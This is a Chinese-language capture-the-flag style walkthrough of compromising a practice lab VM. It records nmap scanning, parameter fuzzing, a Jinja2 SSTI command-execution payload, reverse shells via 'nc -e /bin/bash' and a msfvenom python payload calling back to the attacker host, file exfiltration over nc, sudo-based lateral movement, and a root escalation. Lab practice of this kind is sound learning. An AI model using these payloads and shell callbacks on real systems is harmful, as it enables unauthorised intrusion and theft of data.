主机发现

sudo nmap -sn 192.168.162.0/24

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.162.129

sudo nmap -sT -sV -sC -O -p21,22,80,5000 192.168.162.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-16 13:01 CST
Nmap scan report for 192.168.162.129 (192.168.162.129)
Host is up (0.00042s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.162.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Feb 11 2021 pub
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8a:07:93:8e:8a:d6:67:fe:d0:10:88:14:61:49:5a:66 (RSA)
| 256 5a:cd:25:31:ec:f2:02:a8:a8:ec:32:c9:63:89:b2:e3 (ECDSA)
|_ 256 39:70:57:cc:bb:9b:65:50:36:8d:71:00:a2:ac:24:36 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.7.3)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/1.0.1 Python/3.7.3
MAC Address: 00:0C:29:21:BE:A0 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.51 seconds

FTP

发现可以匿名登录

发现里面有一个pub目录,里面有一个url,get下来发现是一个二进制文件

用IDA打开看一下

发现insert函数是在一些索引插入字符的样子,逗号后面的是value

猜测是ascii码,逐个解码后得到/sh4d0w$s,不出意外是一个目录

Web

访问80端口网页根目录不知道是什么不明所以的东西

扫目录也扫不到什么

转战5000端口,好像没有根目录,访问刚刚得到的目录http://192.168.162.129:5000/sh4d0w$s

提示no input,也需要传参?但是不知道参数名字, FUZZ一下。选取字典的时候发现上面那串也许是crunch的生成参数

crunch 6 6 1337leet -o dic.txt

那就用这个字典试试,发现大部分的size都是8,那就用fs参数排除8

ffuf -fs 8 -c -w dic.txt -u 'http://192.168.162.129:5000/sh4d0w$s?FUZZ=1'

爆破得到参数为l333tt

传参之后发现能显示,而且我们在端口扫描的时候发现网站使用python搭建,也许存在ssti注入

果然是存在的

Getshell

上github找了句payload,传参

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

发现权限是www-data,既然能够命令执行,那就执行反弹shell

开启监听

把whoami改成nc -e /bin/bash ip 端口

成功获取shell

python3 -c "import pty;pty.spawn('/bin/bash')"

export TERM=xterm-color

改进一下交互性

横向移动

cat /etc/passwd发现有kori和irida两个用户

发现能以kori身份执行这个php文件,然后要提供参数

我们查看一下这个php文件

大概是传入的参数来当做命令来执行

但是也看到过滤了许多关键词,用不了nc,但是可以用直接打开一个python来执行

msfvenom -p cmd/unix/reverse_python lhost=192.168.162.128 lport=1235 -f raw

生成一个python反弹shell,开启监听

sudo -u kori /bin/php /home/kori/jail.php python

然后将生成的shell粘贴进去执行就行,成功拿到kori的shell

sudo -l发现能以irida身份执行来复制一个文件

sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

执行之后发现没有权限

chmod 777 /home/kori

然后就可以复制了,但是复制完后发现文件的所有者还是irida,kori不能进行操作

rm -rf irida.apk

touch irida.apk

chmod 777 irida.apk

sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

发现权限已经是kori了,看来要对apk文件进行逆向

选择用nc来传输文件

kali中

nc -lvnp 1236 >irida.apk

shell中

cat irida.apk |nc 192.168.162.128 1236

我用的是jadxgui来进行反编译,直接搜索文本irida,找到一个登录日志

按照键名顺序拼接起来就是密码了吧(大概

尝试eyeofthetiger()发现不是但是看到代码最前面在每个字符串中都加了”.”

尝试eye.of.the.tiger.(),也不行

看WP。。。是eye.of.the.tiger()

提权

登陆之后sudo -l ,又是sudo -l…

可以执行一个python脚本

sudo /usr/bin/python3 /root/oras.py

执行之后随便输入什么后报错了

好像只能接受16进制的样子

将os.system(‘/bin/bash’)转成16进制后输入

成功变成root

碎碎念

好久没打靶机了,挑选了一个hard难度的,果然名不虚传。从crunch生成字典到fuzz再到ssti,真的需要很扎实的基本功才能getshell,但是各种sudo显得有点无聊,其中两次的逆向还算有趣,但我真的不会逆向QAQ。虽然比较偏向CTF和套娃,总之收获还是挺大的233